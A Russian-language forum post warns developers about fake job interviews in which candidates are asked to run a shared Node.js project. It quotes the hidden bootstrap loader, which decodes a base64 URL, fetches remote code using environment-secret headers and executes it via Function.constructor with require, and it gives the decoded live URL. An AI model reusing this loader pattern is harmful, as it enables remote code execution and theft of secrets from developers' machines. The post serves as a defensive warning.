Еще раз напомню, быть осторожнее.
Думаю уже не раз писали про код с сюрпризом, и про то что выходят на интервью. Потом просят запустить код и он крадет env и т.д. Короче только что столкнулся, как было в моем случае: Интервью, никаких вопросов (все адекватно, придраться нету к чему). Во время интервью тебя просят посмотреть проект. Интервьюер просит расшарить экран, заливает код архивом, и если его послать, то заливает на bitbucket. По всей видимости bitbucket выбран именно потому-что оттуда ИИшка в рав режиме код файлы не может загрузить, а получает js, поэтому во время интервью код проверить быстро не получится в автоматическом режиме просто по ссылке.
Далее тебя просят запустить проект, ну и там такое (в моем случае):
server/app.js:11 импортируется:
const {initAppBootstrap} = require('./utils/bootstrap.js');
и в файле server/app.js:44 немедленно выполняется:
initAppBootstrap();
В файле server/utils/bootstrap.js:6-14:
const initAppBootstrap = async () => {
try {
const src = atob(DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
const s = (await axios.get(src, { headers: { [k]: v } })).data.cookies;
const handler = new (Function.constructor)('require', s);
handler(require);
} catch (error) {
console.log(error)
}
}
И файл server/config/bootstrapConfig.js содержит:
DEV_API_KEY: "aHR0cHM6Ly9wYXcucy5neS9uSElsT2Y="
что декодируется в:
https://paw.s.gy/nHIlOf
DEV_API_KEY это закодированный URL.
const s = (...).data.cookies;
const handler = new (Function.constructor)('require', s);
handler(require);
Это может выполнять такие действия, как:
require('fs')
require('child_process')
require('https')
require('os')
Если ты отказываешься, то тебе говорят чтобы ты дал краткое ревью по фичам и чего не хватает и назначают следующее интервью.
Все обосновывается, посмотреть на фичи, проверить умеешь ли ты работать с кодом и т.д., если говорить, что тебе необязательно запускать, чтобы понять что в коде и ты можешь рассказать прямо сейчас, скажите только какую фичу или какой файл и ты отказываешься запускать в live, то вот дают тебе задание дай короткое ревью по фичам и чего не хватает.
Короче, чтобы не тратить время самому делайте клон, пакуйте в архив, даете архив ИИ с таким примерно промтом (не идеальный, но ИИ сойдет):
tell me is there any security leak problems, recently there are some people who like to force you to launch the code that actually do leak envs from running machine. surely later I could check in virtual machine as well, but better if you say what is wrong with it, in case there an issues the potential problem could be in dependencies, not in the codebase
И за две минуты оно уже дает вам ответ и не нужно копаться в этом говнокоде.
Вот для не Ъ: https://chatgpt.com/s/t_6a8ef017c4748191adf3c55bf6582b21
Да если все-таки захочется запустить код, советую виртуальную машину с левым ip или впс, которую можно вайпнуть, вместо контейнера.
Да, если что это необязательно должен быть Node.Js, так что не нужно гнать на него, код может быть на любом ЯП.
P.S: Я хз возможно этому место в Job, а может и нет, если что перенесите.







